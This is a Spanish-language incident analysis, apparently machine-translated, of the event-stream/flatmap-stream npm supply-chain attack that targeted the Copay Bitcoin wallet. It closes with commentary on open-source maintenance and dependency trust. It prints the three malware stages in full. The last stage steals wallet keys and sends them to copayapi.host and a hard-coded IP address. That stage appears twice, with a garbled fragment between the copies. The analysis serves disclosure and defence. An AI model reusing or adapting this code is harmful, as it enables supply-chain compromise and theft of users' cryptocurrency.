La historia de la escandalosa facilidad de piratear la infraestructura moderna de desarrollo de software

A finales de octubre, apareció un mensaje de problema en la extremadamente popular herramienta nodemon Node.js. El problema era que la siguiente advertencia se mostraba en la consola: DeprecationWarning: crypto.createDecipher is deprecated . Tales alertas sobre características obsoletas no son infrecuentes. En particular, este mensaje parecía bastante inofensivo. Ni siquiera se refería al proyecto nodemon en sí, sino a una de sus dependencias. Este problema podría pasar desapercibido para cualquiera, ya que, en muchos casos, estos problemas se resuelven por sí mismos.

imagen

Aproximadamente dos semanas después de la primera mención de este problema, Ayrton Sparling comprobó todo y descubrió que el motivo de la advertencia era una nueva adicción bastante profunda. El mensaje provino de un extraño fragmento de código al final de un archivo JavaScript minificado que no estaba en versiones anteriores de la biblioteca y que, de una versión posterior, se eliminó. La investigación de Ayrton lo llevó al popular paquete npm event-stream, que se descarga aproximadamente dos millones de veces por semana, y hasta hace poco estaba bajo el control de un desarrollador de código abierto con buena reputación.

Hace unos meses, el control del flujo de eventos se transfirió a otra persona, un usuario poco conocido que solicitó , por correo electrónico, el derecho a publicar el paquete. Esto se hizo legalmente. Luego, este usuario actualizó el paquete event-stream, incluida la dependencia del malware flatmap-stream en su versión de parche, y luego publicó una nueva versión principal del paquete sin esta dependencia. Gracias a esto, quería que el cambio fuera menos notable. Los nuevos usuarios, que probablemente tengan más probabilidades de estar interesados ​​en las dependencias, instalarían la última versión de event-stream (4.x al momento de escribir este artículo). Y los usuarios cuyos proyectos dependían de la versión anterior del paquete instalarían automáticamente la versión del parche infectado la próxima vez que ejecuten el npm install (esto tiene en cuenta el enfoque común para configurar las versiones del paquete adecuadas para las actualizaciones).

Detalles del incidente


El código malicioso de flujo de mapa plano se configuró para funcionar con un archivo de datos que, además de algunas líneas que estaban muy ofuscadas, contenía dos fragmentos cifrados, que solo podían descifrarse conociendo la contraseña.

 ! function() {   try {       var r = require,           t = process;       function e(r) {           return Buffer.from(r, "hex").toString()       }       var n = r(e("2e2f746573742f64617461")),           o = t[e(n[3])][e(n[4])];       if (!o) return;       var u = r(e(n[2]))[e(n[6])](e(n[5]), o),           a = u.update(n[0], e(n[8]), e(n[9]));       a += u.final(e(n[9]));       var f = new module.constructor;       f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])   } catch (r) {} }(); 

Llame a este fragmento de código Payload A Busca la contraseña en la variable de entorno npm_package_description establecida por npm. Esta variable de entorno contiene una descripción del paquete raíz, que permite que el código malicioso afecte solo a un paquete de destino específico. Movimiento inteligente! En este caso, este paquete era la aplicación cliente de la billetera Bitcoin Copay , y la contraseña para descifrar el código malicioso era la frase A Secure Bitcoin Wallet (esto fue revelado por el usuario de gathub maths22 ).

Después de que el código de la Payload A descifró con éxito el primer dato, Payload B ejecutó el código que llamamos Payload B

 /*@@*/ module.exports = function(e) {   try {       if (!/build\:.*\-release/.test(process.argv[2])) return;       var t = process.env.npm_package_description,           r = require("fs"),           i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",           n = r.statSync(i),           c = r.readFileSync(i, "utf8"),           o = require("crypto").createDecipher("aes256", t),           s = o.update(e, "hex", "utf8");       s = "\n" + (s += o.final("utf8"));       var a = c.indexOf("\n/*@@*/");       0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {           try {               r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)           } catch (e) {}       })   } catch (e) {} }; 

Este código verificó que el script se ejecute exclusivamente con un argumento de línea de comando específico, con algo que coincida con la build:*-release patrón de build:*-release . Por ejemplo, podría verse como npm run build:ios-release . De lo contrario, el script no se ejecutó. Esta ejecución de código limitada a solo tres scripts para construir proyectos utilizados en Copay. Es decir, estamos hablando de scripts que son responsables de construir la versión de escritorio de la aplicación y sus versiones para iOS y Android .

Luego, el script buscó otra dependencia de la aplicación, es decir, estaba interesado en el archivo ReedSolomonDecoder.js del paquete @ zxing / library . El código Payload B no ejecutó este archivo. Simplemente inyectó el código Payload C en él, lo que condujo al hecho de que este código se ejecutaría en la propia aplicación, cuando ReedSolomonDecoder cargara ReedSolomonDecoder . Aquí está el código de Payload C

 /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() \ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To \ n2wIDAQAB \ n ----- END /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() 

Payload A código de la Payload B Payload A y la Payload B está diseñado para ejecutarse en el entorno Node.js, en el servidor de compilación del proyecto, pero la Payload C diseñada para ejecutarse en un entorno similar a un navegador bajo el control del marco Cordova (anteriormente PhoneGap ). Este marco le permite desarrollar aplicaciones nativas para varias plataformas utilizando tecnologías web: HTML, CSS y JavaScript. Las aplicaciones de cliente de copago (así como los tenedores de este proyecto como FCash ), diseñados para varias plataformas, se crean con Cordova. Es a estos clientes a quienes se dirige el ataque. Estas aplicaciones nativas son para usuarios finales de Copay que administran sus billeteras Bitcoin con ellas. Estas billeteras eran de interés para el atacante. El script envió los datos robados a copayapi.host y al 111.90.151.134.

Conclusiones decepcionantes


Desarrollar lo que acabamos de hablar es una tarea desalentadora. Este truco requirió una investigación seria y un esfuerzo considerable para llevar a cabo un ataque. El atacante probablemente también tenía opciones de reserva que usaría si no pudiera obtener el control del paquete de flujo de eventos. Teniendo en cuenta cómo se organizó el ataque, parece plausible que el atacante originalmente se dirigiera específicamente al Copago, y no solo obtuviera el control de la biblioteca popular, y luego ya pensara qué debería hacer con él. La popularidad de la transmisión de eventos sugiere que el atacante tenía una manera fácil de acceder a computadoras importantes en cientos de empresas de todo el mundo. Afortunadamente, la amenaza se detectó y neutralizó rápidamente, dado el tiempo que podría haber pasado desapercibido, pero pensando en lo que podría habernos llevado a la conclusión obvia: el código abierto está gravemente enfermo.

Hagamos una lista de las razones que llevaron al incidente anterior:

  1. La aplicación (Copago) se creó sobre la base de muchas dependencias diferentes, mientras que su árbol de dependencias no estaba bloqueado.
  2. Incluso teniendo en cuenta que el árbol de dependencias no estaba bloqueado, las dependencias no se almacenaban en caché, se cargaban desde el repositorio en cada compilación del proyecto.
  3. Miles de otros proyectos dependen del flujo de eventos, usan las mismas configuraciones o configuraciones similares.
  4. El que apoyó la biblioteca, de la que dependen miles de proyectos, dejó de trabajar en ella.
  5. Miles de proyectos utilizaron esta biblioteca de forma gratuita. Al mismo tiempo, se esperaba que la apoyaran sin ninguna compensación material.
  6. El que apoyó la biblioteca transfirió el control a lo desconocido solo porque le preguntó al respecto.
  7. No hubo notificaciones de que el proyecto cambiara de propietario, y los mismos miles de proyectos simplemente continuaron usando el paquete apropiado.
  8. De hecho, esta lista sigue y sigue ...

Da miedo incluso pensar en el daño que podría causar el robo discutido por nosotros. Por ejemplo, los proyectos extremadamente serios dependen del flujo de eventos. Por ejemplo, la CLI de Microsoft Azure . Vulnerables eran aquellas computadoras en las que están desarrollando este programa, y ​​aquellas computadoras en las que se usa. El código malicioso podría entrar en esos y otros.

El problema aquí es que muchos proyectos de software se construyen sobre la base de lo que se espera que las personas hagan de forma gratuita. Crean programas útiles, se involucran en ellos durante algún tiempo (o tal vez simplemente los hacen del dominio público y eso es todo), y se espera que apoyen su desarrollo hasta el final de los tiempos. Si esto no funciona para ellos, entonces no hacen nada, ignoran las llamadas o informan vulnerabilidades en sus proyectos ( ¡culpables! ), O simplemente dan sus proyectos a otras personas, con la esperanza de que puedan irse y no involucrarse más en ellos. A veces funciona. A veces no. Pero nada puede justificar las vulnerabilidades que, debido a tales fenómenos, aparecen en el software. Por cierto, incluso la detección de un problema con el flujo de eventos, su investigación y eliminación, fue realizada principalmente por voluntarios de código abierto, cuyo trabajo no se paga de ninguna manera.

Tantas personas y organizaciones diferentes están relacionadas con lo que sucedió que la búsqueda de culpables específicos no tiene mucho sentido. El código abierto está gravemente enfermo, y cuanto mayor es este fenómeno, mayor es la probabilidad de desastres. Dado el potencial destructivo del incidente discutido aquí, es una suerte que el objetivo del atacante fuera solo una aplicación.

Problemas similares no se limitan a Node.js o npm. En ecosistemas relacionados, se observa un nivel igualmente alto de confianza inapropiada en los extraños. Esto tiene que ver con PyPi en el entorno Python, RubyGems y GitHub también. Cualquiera puede publicar en los servicios antes mencionados, sin ninguna notificación que transfiera la gestión de sus proyectos a nadie. E incluso sin él, los proyectos modernos usan tales volúmenes de código de otras personas que un análisis exhaustivo del mismo detendría el trabajo de cualquier equipo durante mucho tiempo. Para cumplir con los plazos, los desarrolladores establecen lo que necesitan, y los equipos responsables de la seguridad y las herramientas automatizadas de verificación de código simplemente no siguen el ritmo del rápido desarrollo de los programas en constante cambio.

Estimados lectores! ¿Cómo te sientes sobre el incidente reciente de la secuencia de eventos?



Source: https://habr.com/ru/post/es434116/


All Articles